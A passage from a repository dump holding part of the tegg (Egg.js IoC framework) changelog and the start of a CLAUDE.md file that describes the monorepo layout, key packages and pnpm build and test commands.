([#169](https://github.com/eggjs/tegg/issues/169)) ([2d984ef](https://github.com/eggjs/tegg/commit/2d984efad0806b333aa2ea30daac2df859967750))\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n\n### Features\n\n* impl getObjectFromName ([#167](https://github.com/eggjs/tegg/issues/167)) ([95843c7](https://github.com/eggjs/tegg/commit/95843c74c201ecdfeb7023e16e3f8348a1cb32ea))\n\n\n\n\n\n# [3.26.0](https://github.com/eggjs/tegg/compare/v3.25.2...v3.26.0) (2023-11-17)\n\n\n### Features\n\n* Add ControllerType = SCHEDULE ([#166](https://github.com/eggjs/tegg/issues/166)) ([2c22e7d](https://github.com/eggjs/tegg/commit/2c22e7d4943659848ddbae7b552febef38b57a3d))\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n\n### Bug Fixes\n\n* verify isEggMultiInstancePrototype before proto exists ([#164](https://github.com/eggjs/tegg/issues/164)) ([db9a621](https://github.com/eggjs/tegg/commit/db9a62159886829de36b831f49f296fe05f0b228))\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n\n### Bug Fixes\n\n* fix standalone import ConfigSource ([#163](https://github.com/eggjs/tegg/issues/163)) ([6922071](https://github.com/eggjs/tegg/commit/6922071219413a8a11387be3d05f0e3970ce4f48))\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n\n### Features\n\n* getObject support MultiInstanceProto ([#161](https://github.com/eggjs/tegg/issues/161)) ([1a24e48](https://github.com/eggjs/tegg/commit/1a24e48cd9a38e906966a21c5f0d1304c4b40d7c))\n* tegg plugin support ModuleConfig ([#162](https://github.com/eggjs/tegg/issues/162)) ([58bd9fa](https://github.com/eggjs/tegg/commit/58bd9fafdd0d56aabdde5f7c33f17c45568bada8))\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n\n### Features\n\n* support Request  decorators for HTTPController ([#159](https://github.com/eggjs/tegg/issues/159)) ([945e1eb](https://github.com/eggjs/tegg/commit/945e1eb18237f40879acdd2e43cd53dd2e8272a9))\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n\n### Bug Fixes\n\n* typo `acL` to `acl` ([#156](https://github.com/eggjs/tegg/issues/156)) ([a775d34](https://github.com/eggjs/tegg/commit/a775d34d38c481c5f9e90504224553d31ad728d3))\n\n\n### Features\n\n* add className property to EggPrototypeInfo ([#158](https://github.com/eggjs/tegg/issues/158)) ([bddac97](https://github.com/eggjs/tegg/commit/bddac97a9f575c9f13b794246a7e8346c58d1a09))\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n\n### Features\n\n* support load module config with env ([#151](https://github.com/eggjs/tegg/issues/151)) ([c087226](https://github.com/eggjs/tegg/commit/c087226bd7764242fadce5622fccd9e9fee56322))\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) (2023-08-31)\n\n\n### Features\n\n* add LoadUnitMultiInstanceProtoHook for tegg plugin ([#150](https://github.com/eggjs/tegg/issues/150)) ([b938580](https://github.com/eggjs/tegg/commit/b9385803383dceedfc26bd990e5d752cd33f0f67))\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n\n### Bug Fixes\n\n* fix use MultiInstanceProto from other modules ([#147](https://github.com/eggjs/tegg/issues/147)) ([b71af60](https://github.com/eggjs/tegg/commit/b71af60ce6d1da0d778f5e712633b8c15052bd70))\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n\n### Features\n\n* add aop runtime/dynamic inject runtime for standalone ([#149](https://github.com/eggjs/tegg/issues/149)) ([6091fc6](https://github.com/eggjs/tegg/commit/6091fc6be885976d72a6920d37ec685927b63d5d))\n* add helper to get EggObject from class ([#148](https://github.com/eggjs/tegg/issues/148)) ([77eaf38](https://github.com/eggjs/tegg/commit/77eaf38383ad974b30d13f4c30c489fb7fa7274d))\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n\n### Features\n\n* impl MultiInstanceProto ([#145](https://github.com/eggjs/tegg/issues/145)) ([12fd5cf](https://github.com/eggjs/tegg/commit/12fd5cff4004578bcc737dcdf4f7e9d1159f5633))\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n\n### Features\n\n* export EggModuleLoader in standalone ([#146](https://github.com/eggjs/tegg/issues/146)) ([9d1da9a](https://github.com/eggjs/tegg/commit/9d1da9a87dbd486930adc50cd43020c2fb478230))\n* implement RuntimeConfig ([#144](https://github.com/eggjs/tegg/issues/144)) ([0862655](https://github.com/eggjs/tegg/commit/0862655846f6765349d406ee697c036cec2a37bd))\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n\n### Bug Fixes\n\n* fix aop plugin files ([#140](https://github.com/eggjs/tegg/issues/140)) ([f47eef6](https://github.com/eggjs/tegg/commit/f47eef634efd442ac5a8f68567e36c940247e48b))\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n\n### Bug Fixes\n\n* init all context advice if root proto miss ([#139](https://github.com/eggjs/tegg/issues/139)) ([0602ea8](https://github.com/eggjs/tegg/commit/0602ea81578bf717ee4b4c490ace8c1c133478c5))\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n\n### Bug Fixes\n\n* ensure ContextInitiator be called after ctx ready ([#138](https://github.com/eggjs/tegg/issues/138)) ([79e16da](https://github.com/eggjs/tegg/commit/79e16dae913b6114ac8d13bde8de60164d57dab3))\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n\n### Features\n\n* impl ModuleConfigs for standalone ([#136](https://github.com/eggjs/tegg/issues/136)) ([7227492](https://github.com/eggjs/tegg/commit/7227492295b9c84e3660bfc006ca96e7a9652a25))\n\n\n\n\n\n# [3.13.0](https://github.com/eggjs/tegg/compare/v3.12.0...v3.13.0) (2023-07-25)\n\n\n### Features\n\n* 事务注解增加数据源选项 ([#135](https://github.com/eggjs/tegg/issues/135)) ([c33b3b5](https://github.com/eggjs/tegg/commit/c33b3b5ec9d32a8c6675d986013042f0cb8e4370))\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n\n### Bug Fixes\n\n* after call mockModuleContext, hasMockModuleContext should be true ([#134](https://github.com/eggjs/tegg/issues/134)) ([88b3caa](https://github.com/eggjs/tegg/commit/88b3caadd24f08221b8098c42733e26376338cae))\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n\n### Bug Fixes\n\n* export StandaloneInnerObject ([#131](https://github.com/eggjs/tegg/issues/131)) ([e4b87e0](https://github.com/eggjs/tegg/commit/e4b87e0a48e3232adaf43bad75f44d0ae775c984))\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n\n### Features\n\n* export transaction decorator from tegg ([8be0521](https://github.com/eggjs/tegg/commit/8be05212b62fe7f111688efaec935be64d623918))\n* impl transaction decorator ([#124](https://github.com/eggjs/tegg/issues/124)) ([4896615](https://github.com/eggjs/tegg/commit/4896615af951bbff940cda7abc116df40ed486e5))\n\n\n\n\n\n# [3.10.0](https://github.com/eggjs/tegg/compare/v3.9.0...v3.10.0) (2023-06-28)\n\n\n### Bug Fixes\n\n* use posix join for package path ([#127](https://github.com/eggjs/tegg/issues/127)) ([53672f4](https://github.com/eggjs/tegg/commit/53672f404edb72c7330e125f72dd356cde0607ad))\n\n\n### Features\n\n* standalone Runner run support ctx ([#126](https://github.com/eggjs/tegg/issues/126)) ([0788c7d](https://github.com/eggjs/tegg/commit/0788c7dfb57f96c55e94cc6692c0b6e9ac1ee03c))\n\n\n\n\n\n# [3.9.0](https://github.com/eggjs/tegg/compare/v3.8.0...v3.9.0) (2023-06-20)\n\n\n### Features\n\n* implement advice params ([76ec8ad](https://github.com/eggjs/tegg/commit/76ec8ad7b7170a637e59d74d49c1f00d8a201321))\n\n\n\n\n\n# [3.8.0](https://github.com/eggjs/tegg/compare/v3.7.0...v3.8.0) (2023-05-30)\n\n\n### Features\n\n* impl EggObjectLifecycle hook in decorator ([#119](https://github.com/eggjs/tegg/issues/119)) ([cced8a2](https://github.com/eggjs/tegg/commit/cced8a2e009c33d5040fa21d00409fddef471b0e))\n\n\n\n\n\n# [3.7.0](https://github.com/eggjs/tegg/compare/v3.6.3...v3.7.0) (2023-04-03)\n\n\n### Bug Fixes\n\n* don't check eventbus plugin name ([#113](https://github.com/eggjs/tegg/issues/113)) ([2a94a57](https://github.com/eggjs/tegg/commit/2a94a57c58e4fd971400966c15597aace4bb1ecc))\n\n\n### Features\n\n* The exposed module reads the options. ([#112](https://github.com/eggjs/tegg/issues/112)) ([a52b44b](https://github.com/eggjs/tegg/commit/a52b44b753463bfdef6fbbc39f920be8eccf1567))\n\n\n\n\n\n## [3.6.3](https://github.com/eggjs/tegg/compare/v3.6.2...v3.6.3) (2023-03-02)\n\n\n### Bug Fixes\n\n* fix contextEggObjectGetProperty conflict ([#105](https://github.com/eggjs/tegg/issues/105)) ([c570315](https://github.com/eggjs/tegg/commit/c570315ece6ef7443ecf3df2b45aa8c934a5aa38))\n\n\n\n\n\n## [3.6.2](https://github.com/eggjs/tegg/compare/v3.6.1...v3.6.2) (2023-02-16)\n\n\n### Bug Fixes\n\n* should not cache ctx object ([#103](https://github.com/eggjs/tegg/issues/103)) ([be54083](https://github.com/eggjs/tegg/commit/be5408375261d98b60fbc97e18de9232581a9547))\n\n\n\n\n\n## [3.6.1](https://github.com/eggjs/tegg/compare/v3.6.0...v3.6.1) (2023-02-14)\n\n\n### Bug Fixes\n\n* get app/ctx properties when load unit beforeCreate ([#102](https://github.com/eggjs/tegg/issues/102)) ([76ef679](https://github.com/eggjs/tegg/commit/76ef679d745deb235db9dcc3fa34984b511bd5c6))\n\n\n\n\n\n# [3.6.0](https://github.com/eggjs/tegg/compare/v3.5.2...v3.6.0) (2023-02-13)\n\n\n### Bug Fixes\n\n* egg qualifier should register after all file loaded ([#100](https://github.com/eggjs/tegg/issues/100)) ([5033b51](https://github.com/eggjs/tegg/commit/5033b51796b8a3329bd79884a8d8f18226193a1b))\n\n\n### Features\n\n* add backgroundTask.timeout config ([#101](https://github.com/eggjs/tegg/issues/101)) ([0b1eee0](https://github.com/eggjs/tegg/commit/0b1eee00d6feb9c6d4509023dffe85c0ada749c2))\n\n\n\n\n\n## [3.5.2](https://github.com/eggjs/tegg/compare/v3.5.1...v3.5.2) (2023-02-10)\n\n\n### Bug Fixes\n\n* eventbus cork should support reentry ([#98](https://github.com/eggjs/tegg/issues/98)) ([077044c](https://github.com/eggjs/tegg/commit/077044c040f8423572605eb2980e3cc6da8c038e))\n* not create ctx logger proto ([#97](https://github.com/eggjs/tegg/issues/97)) ([100886b](https://github.com/eggjs/tegg/commit/100886ba90bdc7cccd07fa2f390defb5b0c53e22))\n\n\n\n\n\n## [3.5.1](https://github.com/eggjs/tegg/compare/v3.5.0...v3.5.1) (2023-02-10)\n\n\n### Bug Fixes\n\n* remove useless init singleton proto ([#96](https://github.com/eggjs/tegg/issues/96)) ([097ac58](https://github.com/eggjs/tegg/commit/097ac58c675d43088c8785a12cf224b5d6adea17))\n\n\n\n\n\n# [3.5.0](https://github.com/eggjs/tegg/compare/v3.4.1...v3.5.0) (2023-02-10)\n\n\n### Bug Fixes\n\n* loader should not deps metadata ([#94](https://github.com/eggjs/tegg/issues/94)) ([ff57de4](https://github.com/eggjs/tegg/commit/ff57de4f3e0d0dc33d77d05a887242fcb4c32024))\n\n\n### Features\n\n* append call stack for runInBackground ([#91](https://github.com/eggjs/tegg/issues/91)) ([ec7bc2c](https://github.com/eggjs/tegg/commit/ec7bc2c60ffb49b4a51feec82e391b1f6a88549a))\n* remove context egg object factory ([#93](https://github.com/eggjs/tegg/issues/93)) ([e14bdb2](https://github.com/eggjs/tegg/commit/e14bdb257eaebc0b0a4c37c6073a5c3237718718))\n* use SingletonProto for egg ctx object ([#92](https://github.com/eggjs/tegg/issues/92)) ([3385d57](https://github.com/eggjs/tegg/commit/3385d571b076d3148978f252188f29d9cf2c6781))\n\n\n\n\n\n## [3.4.1](https://github.com/eggjs/tegg/compare/v3.4.0...v3.4.1) (2023-02-02)\n\n\n### Bug Fixes\n\n* BackgroundTaskHelper should support recursively call ([#90](https://github.com/eggjs/tegg/issues/90)) ([368ac03](https://github.com/eggjs/tegg/commit/368ac0343d0d4e96b3768e7fd169b721551d0e4b))\n\n\n\n\n\n# [3.4.0](https://github.com/eggjs/tegg/compare/v3.3.4...v3.4.0) (2023-02-01)\n\n\n### Features\n\n* use singleton model insteadof context ([#89](https://github.com/eggjs/tegg/issues/89)) ([cfdfc05](https://github.com/eggjs/tegg/commit/cfdfc05f13048806274de1a35b1207c073a8519d))\n\n\n\n\n\n## [3.3.4](https://github.com/eggjs/tegg/compare/v3.3.3...v3.3.4) (2023-01-29)\n\n\n### Bug Fixes\n\n* should not notify backgroundTaskHelper if teggContext not exists ([#88](https://github.com/eggjs/tegg/issues/88)) ([4cab68b](https://github.com/eggjs/tegg/commit/4cab68bfc08a3786bde9a67cd8687f152829d9a0))\n\n\n\n\n\n## [3.3.3](https://github.com/eggjs/tegg/compare/v3.3.2...v3.3.3) (2023-01-29)\n\n\n### Bug Fixes\n\n* wait egg background task done before destroy tegg ctx ([#87](https://github.com/eggjs/tegg/issues/87)) ([deea4d8](https://github.com/eggjs/tegg/commit/deea4d8d75c43347c6ee09e0e97f5fa80dd68dd9))\n\n\n\n\n\n## [3.3.2](https://github.com/eggjs/tegg/compare/v3.3.1...v3.3.2) (2023-01-29)\n\n\n### Bug Fixes\n\n* beginModuleScope should be reentrant ([#86](https://github.com/eggjs/tegg/issues/86)) ([648aeaf](https://github.com/eggjs/tegg/commit/648aeaf1f20ff5bc217bf6f16fac9d9181eb8447))\n\n\n\n\n\n## [3.3.1](https://github.com/eggjs/tegg/compare/v3.3.0...v3.3.1) (2023-01-28)\n\n\n### Bug Fixes\n\n* inject property should be configurable ([#85](https://github.com/eggjs/tegg/issues/85)) ([c13ab55](https://github.com/eggjs/tegg/commit/c13ab55d7b483a5c4a6e4293a6095aa98d070a8b))\n\n\n\n\n\n# [3.3.0](https://github.com/eggjs/tegg/compare/v3.2.4...v3.3.0) (2023-01-28)\n\n\n### Bug Fixes\n\n* router type ([#83](https://github.com/eggjs/tegg/issues/83)) ([b32d9b8](https://github.com/eggjs/tegg/commit/b32d9b8e94552d27dc0249c9f38e7223b24beff0))\n\n\n### Features\n\n* add app.eggContextHandler ([#84](https://github.com/eggjs/tegg/issues/84)) ([2772624](https://github.com/eggjs/tegg/commit/277262418143956b2e75bd1db5f2e7dd9b75eb8b))\n* export singleton orm client ([#82](https://github.com/eggjs/tegg/issues/82)) ([5320af7](https://github.com/eggjs/tegg/commit/5320af77d7e7c5c73b80560a576f2ce01fc21fff))\n\n\n\n\n\n## [3.2.3](https://github.com/eggjs/tegg/compare/v3.2.2...v3.2.3) (2023-01-16)\n\n\n### Bug Fixes\n\n* cork/uncork should can be called multi times in same ctx ([#78](https://github.com/eggjs/tegg/issues/78)) ([269cda6](https://github.com/eggjs/tegg/commit/269cda6327122111c230e6f69abb525ce4ab5be1))\n\n\n\n\n\n## [3.2.2](https://github.com/eggjs/tegg/compare/v3.2.1...v3.2.2) (2023-01-06)\n\n**Note:** Version bump only for package tegg\n\n\n\n\n\n## [3.2.1](https://github.com/eggjs/tegg/compare/v3.2.0...v3.2.1) (2022-12-28)\n\n\n### Bug Fixes\n\n* fix nest inject ctx obj to singleton obj ([#74](https://github.com/eggjs/tegg/issues/74)) ([e4b6252](https://github.com/eggjs/tegg/commit/e4b6252aa79925e16185e568bf7b220f367253ab))\n\n\n\n\n\n# [3.2.0](https://github.com/eggjs/tegg/compare/v3.1.0...v3.2.0) (2022-12-28)\n\n\n### Features\n\n* impl mockModuleContextScope ([#73](https://github.com/eggjs/tegg/issues/73)) ([041881c](https://github.com/eggjs/tegg/commit/041881ca317ad81366172a35ac56b7b2dc0a0488))\n\n\n\n\n\n# [3.1.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.1.0) (2022-12-27)\n\n\n### Bug Fixes\n\n* add 'globby' as dependencies ([#71](https://github.com/eggjs/tegg/issues/71)) ([76d85d9](https://github.com/eggjs/tegg/commit/76d85d9948527028f926ae0ff5a61111eb1cbd04))\n* eventbus runtime should wait all handlers done ([#51](https://github.com/eggjs/tegg/issues/51)) ([0651d30](https://github.com/eggjs/tegg/commit/0651d300f9a18bd97299548f3ebccad1d0382d28))\n* fix events type from any to keyof Events ([#54](https://github.com/eggjs/tegg/issues/54)) ([a2551b2](https://github.com/eggjs/tegg/commit/a2551b2d9f9eabf9ed5c87f83489615eefa3e6d1))\n* fix file path for advice decorator ([#64](https://github.com/eggjs/tegg/issues/64)) ([d6aa091](https://github.com/eggjs/tegg/commit/d6aa091851b5d1ca63e7e56e081df4d15ab3284e))\n* fix miss agent file ([0fa496b](https://github.com/eggjs/tegg/commit/0fa496bdbb4ffa4e911fffa3e176fa7bdf03fb12))\n* fix miss agent file ([#56](https://github.com/eggjs/tegg/issues/56)) ([cfb4dcc](https://github.com/eggjs/tegg/commit/cfb4dcc006ee1253733c7122f885a05da94f80b5))\n* fix mock prototype in aop not work ([#66](https://github.com/eggjs/tegg/issues/66)) ([16640eb](https://github.com/eggjs/tegg/commit/16640eb751405532b2a1241b17624ce3ac2d1c7a))\n* fix rootProtoManager.registerRootProto ([f416ed7](https://github.com/eggjs/tegg/commit/f416ed70af1c46d31ebf712b208205d67337d958))\n* fix schedule import ([1fb5481](https://github.com/eggjs/tegg/commit/1fb54816fb3240c641824c2bc2b464c35652b655))\n* inject context proto to singleton proto ([#72](https://github.com/eggjs/tegg/issues/72)) ([fcc0b2b](https://github.com/eggjs/tegg/commit/fcc0b2b48fc9bce580c1f2bcfcc38039ae909951))\n* none exist node_modules path ([#59](https://github.com/eggjs/tegg/issues/59)) ([77cb068](https://github.com/eggjs/tegg/commit/77cb0687ba8e5d9f20a6df0548de9d55a8771c21))\n* optimize backgroud output ([#47](https://github.com/eggjs/tegg/issues/47)) ([6d978c5](https://github.com/eggjs/tegg/commit/6d978c5d7c339c78a90b00d2c2622f0be85ab3ce))\n* skip file not exits ([#62](https://github.com/eggjs/tegg/issues/62)) ([10e56d4](https://github.com/eggjs/tegg/commit/10e56d418f359efa5d8909541768082cf068d2a4))\n* use getMetaData for ModelMetadataUtil ([#44](https://github.com/eggjs/tegg/issues/44)) ([87a306c](https://github.com/eggjs/tegg/commit/87a306c4fba51fd519a47c0caaa79442643ea107))\n* use require.resolve instead path.join to resolve dependencies path ([#63](https://github.com/eggjs/tegg/issues/63)) ([d7f3beb](https://github.com/eggjs/tegg/commit/d7f3beb27a22b95bb54589c5988a68ce2484c089))\n\n\n### Features\n\n* add new module scan mode ([#58](https://github.com/eggjs/tegg/issues/58)) ([3be6c20](https://github.com/eggjs/tegg/commit/3be6c2047a0241a482aafd0aaa072f51f861b6ea))\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n* impl Host decorator ([#48](https://github.com/eggjs/tegg/issues/48)) ([65dc7a8](https://github.com/eggjs/tegg/commit/65dc7a899ba72dd0851c35046562766d7f2b71b6))\n* impl Inject Model ([#43](https://github.com/eggjs/tegg/issues/43)) ([ced2ce2](https://github.com/eggjs/tegg/commit/ced2ce2134964dcb410410c0192a34f77507c42d))\n* impl Schedule decorator ([#52](https://github.com/eggjs/tegg/issues/52)) ([7f95005](https://github.com/eggjs/tegg/commit/7f950050b548ca542addbd7b466675da4e81ce3f))\n* implement cork/uncork for eventbus ([#60](https://github.com/eggjs/tegg/issues/60)) ([38114bd](https://github.com/eggjs/tegg/commit/38114bd7ea3b46cc4a79556a005ef18b2ae11ec2))\n* middleware decorator allow multi middleware function ([#46](https://github.com/eggjs/tegg/issues/46)) ([a4b55f7](https://github.com/eggjs/tegg/commit/a4b55f7065c3d78e2c98c4b05f01871f666542ef))\n* multi host decorator ([#68](https://github.com/eggjs/tegg/issues/68)) ([f6679de](https://github.com/eggjs/tegg/commit/f6679de1495024ecb9182168843300aa91288508))\n* standalone support context ([#65](https://github.com/eggjs/tegg/issues/65)) ([b35dc2d](https://github.com/eggjs/tegg/commit/b35dc2d40fff1331145abd3f04917dc64f80010b))\n* support leoric hooks ([#41](https://github.com/eggjs/tegg/issues/41)) ([9ecdbd2](https://github.com/eggjs/tegg/commit/9ecdbd2fe434445c698cd2140ae97f76b6bb6ddf))\n\n\n\n\n\n# [3.0.0](https://github.com/eggjs/tegg/compare/v3.0.0-alpha.0...v3.0.0) (2022-12-26)\n\n\n### Features\n\n* delete controller root hook ([bbb68f4](https://github.com/eggjs/tegg/commit/bbb68f43a1a9fcfd86c05581b10c56eeb77d4053))\n\n\n\n\n\n# [3.0.0-alpha.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.0.0-alpha.0) (2022-12-22)\n\n\n### Bug Fixes\n\n* eventbus runtime should wait all handlers done ([#51](https://github.com/eggjs/tegg/issues/51)) ([0651d30](https://github.com/eggjs/tegg/commit/0651d300f9a18bd97299548f3ebccad1d0382d28))\n* fix events type from any to keyof Events ([#54](https://github.com/eggjs/tegg/issues/54)) ([a2551b2](https://github.com/eggjs/tegg/commit/a2551b2d9f9eabf9ed5c87f83489615eefa3e6d1))\n* fix file path for advice decorator ([#64](https://github.com/eggjs/tegg/issues/64)) ([d6aa091](https://github.com/eggjs/tegg/commit/d6aa091851b5d1ca63e7e56e081df4d15ab3284e))\n* fix miss agent file ([0fa496b](https://github.com/eggjs/tegg/commit/0fa496bdbb4ffa4e911fffa3e176fa7bdf03fb12))\n* fix miss agent file ([#56](https://github.com/eggjs/tegg/issues/56)) ([cfb4dcc](https://github.com/eggjs/tegg/commit/cfb4dcc006ee1253733c7122f885a05da94f80b5))\n* fix mock prototype in aop not work ([#66](https://github.com/eggjs/tegg/issues/66)) ([16640eb](https://github.com/eggjs/tegg/commit/16640eb751405532b2a1241b17624ce3ac2d1c7a))\n* fix rootProtoManager.registerRootProto ([f416ed7](https://github.com/eggjs/tegg/commit/f416ed70af1c46d31ebf712b208205d67337d958))\n* fix schedule import ([1fb5481](https://github.com/eggjs/tegg/commit/1fb54816fb3240c641824c2bc2b464c35652b655))\n* none exist node_modules path ([#59](https://github.com/eggjs/tegg/issues/59)) ([77cb068](https://github.com/eggjs/tegg/commit/77cb0687ba8e5d9f20a6df0548de9d55a8771c21))\n* optimize backgroud output ([#47](https://github.com/eggjs/tegg/issues/47)) ([6d978c5](https://github.com/eggjs/tegg/commit/6d978c5d7c339c78a90b00d2c2622f0be85ab3ce))\n* skip file not exits ([#62](https://github.com/eggjs/tegg/issues/62)) ([10e56d4](https://github.com/eggjs/tegg/commit/10e56d418f359efa5d8909541768082cf068d2a4))\n* use getMetaData for ModelMetadataUtil ([#44](https://github.com/eggjs/tegg/issues/44)) ([87a306c](https://github.com/eggjs/tegg/commit/87a306c4fba51fd519a47c0caaa79442643ea107))\n* use require.resolve instead path.join to resolve dependencies path ([#63](https://github.com/eggjs/tegg/issues/63)) ([d7f3beb](https://github.com/eggjs/tegg/commit/d7f3beb27a22b95bb54589c5988a68ce2484c089))\n\n\n### Features\n\n* add new module scan mode ([#58](https://github.com/eggjs/tegg/issues/58)) ([3be6c20](https://github.com/eggjs/tegg/commit/3be6c2047a0241a482aafd0aaa072f51f861b6ea))\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n* impl Host decorator ([#48](https://github.com/eggjs/tegg/issues/48)) ([65dc7a8](https://github.com/eggjs/tegg/commit/65dc7a899ba72dd0851c35046562766d7f2b71b6))\n* impl Inject Model ([#43](https://github.com/eggjs/tegg/issues/43)) ([ced2ce2](https://github.com/eggjs/tegg/commit/ced2ce2134964dcb410410c0192a34f77507c42d))\n* impl Schedule decorator ([#52](https://github.com/eggjs/tegg/issues/52)) ([7f95005](https://github.com/eggjs/tegg/commit/7f950050b548ca542addbd7b466675da4e81ce3f))\n* implement cork/uncork for eventbus ([#60](https://github.com/eggjs/tegg/issues/60)) ([38114bd](https://github.com/eggjs/tegg/commit/38114bd7ea3b46cc4a79556a005ef18b2ae11ec2))\n* middleware decorator allow multi middleware function ([#46](https://github.com/eggjs/tegg/issues/46)) ([a4b55f7](https://github.com/eggjs/tegg/commit/a4b55f7065c3d78e2c98c4b05f01871f666542ef))\n* multi host decorator ([#68](https://github.com/eggjs/tegg/issues/68)) ([f6679de](https://github.com/eggjs/tegg/commit/f6679de1495024ecb9182168843300aa91288508))\n* standalone support context ([#65](https://github.com/eggjs/tegg/issues/65)) ([b35dc2d](https://github.com/eggjs/tegg/commit/b35dc2d40fff1331145abd3f04917dc64f80010b))\n* support leoric hooks ([#41](https://github.com/eggjs/tegg/issues/41)) ([9ecdbd2](https://github.com/eggjs/tegg/commit/9ecdbd2fe434445c698cd2140ae97f76b6bb6ddf))\n\n\n\n\n\n# [1.3.0](https://github.com/eggjs/tegg/compare/v1.2.0...v1.3.0) (2022-07-01)\n\n\n### Features\n\n* allow inject proto and name ([#40](https://github.com/eggjs/tegg/issues/40)) ([abd1766](https://github.com/eggjs/tegg/commit/abd17665af2528c4c2e33f4c6b0fceddd8a4e76b))\n* support leoric hooks ([#41](https://github.com/eggjs/tegg/issues/41)) ([9bdbc2c](https://github.com/eggjs/tegg/commit/9bdbc2cbe96df9f66f96b4f8e208883e99957946))\n\n\n\n\n\n# [0.2.0](https://github.com/eggjs/tegg/compare/v0.1.19...v0.2.0) (2022-01-20)\n\n\n### Bug Fixes\n\n* invalid value of main ([#27](https://github.com/eggjs/tegg/issues/27)) ([47f22d6](https://github.com/eggjs/tegg/commit/47f22d60f7ab01cf3c0e68bd078cdd0bb75169d5))\n\n\n### Features\n\n* impl aop ([c53df00](https://github.com/eggjs/tegg/commit/c53df001d1455a0a105689694775d880541d9d2f))\n"
  },
  {
    "path": "tegg/CLAUDE.md",
    "content": "# CLAUDE.md\n\nThis file provides guidance to Claude Code (claude.ai/code) when working with code in this repository.\n\n## Overview\n\nTegg is a modular IoC (Inversion of Control) framework for Egg.js, providing dependency injection, lifecycle management, and plugin architecture. It's designed for building large-scale, maintainable Node.js applications using TypeScript decorators.\n\n**Requirements:**\n\n- Node.js >= 22.18.0\n- ESM only (no CommonJS)\n- egg >= 4.1.0\n\n## Monorepo Structure\n\n**IMPORTANT:** Tegg is part of the main [Egg.js monorepo](https://github.com/eggjs/egg). All build, test, and version management commands should be run from the monorepo root.\n\nThe tegg packages are organized as follows within the main monorepo:\n\n```\ncore/          # 24 core packages - decorators, runtime, metadata, loaders\nplugin/        # 10 plugin packages - Egg.js plugins that integrate core functionality\nstandalone/    # 1 standalone package - standalone runtime without Egg.js\n```\n\n**Dependency Management:**\n\n- Uses pnpm workspaces with `catalog:` protocol for shared external dependencies\n- Uses `workspace:*` protocol for internal monorepo dependencies (both tegg and egg packages)\n- All shared dependency versions centralized in the root `pnpm-workspace.yaml` (not in tegg/)\n- `catalogMode: prefer` set in root `.npmrc` for automatic catalog usage\n- Tegg packages are defined in root pnpm-workspace.yaml as `tegg/core/*`, `tegg/plugin/*`, `tegg/standalone/*`\n\n### Key Core Packages\n\n- **core-decorator**: Basic decorators (`@Inject`, `@ContextProto`, `@SingletonProto`)\n- **metadata**: Metadata management for prototypes, modules, and dependency graphs\n- **runtime**: Runtime container and object lifecycle management\n- **loader**: Module discovery and loading system\n- **lifecycle**: Lifecycle hooks and management\n- **types**: TypeScript type definitions\n- **common-util**: Shared utilities\n\n### Key Plugin Packages\n\n- **plugin/tegg**: Main Egg.js plugin integrating tegg runtime\n- **plugin/config**: Module configuration support\n- **plugin/controller**: HTTP controller decorator support\n- **plugin/aop**: AOP runtime integration\n- **plugin/eventbus**: Event bus system\n- **plugin/schedule**: Scheduled task support\n- **plugin/dal**: Data access layer\n- **plugin/orm**: Leoric ORM integration\n\n## Development Commands\n\n**Note:** All commands below should be run from the **monorepo root** (`../egg`), not from the tegg directory.\n\n### Build & Clean\n\n```bash\npnpm run build               # Build all packages including tegg (runs build in all workspaces)\npnpm run clean               # Clean all build artifacts including tegg (removes dist, tsbuildinfo)\n```\n\n### Testing\n\nAll tegg packages use **Vitest** for testing and are integrated with the main Egg.js monorepo test suite.\n\n```bash\npnpm test                    # Run vitest tests for all packages (from monorepo root)\npnpm run test:cov            # Run tests with coverage\npnpm run ci                  # Full CI: vitest with coverage and bail on first failure\n```\n\n**Note:** Tests are configured in the monorepo root `vitest.config.ts` which includes all tegg packages (`tegg/core/*`, `tegg/plugin/*`, 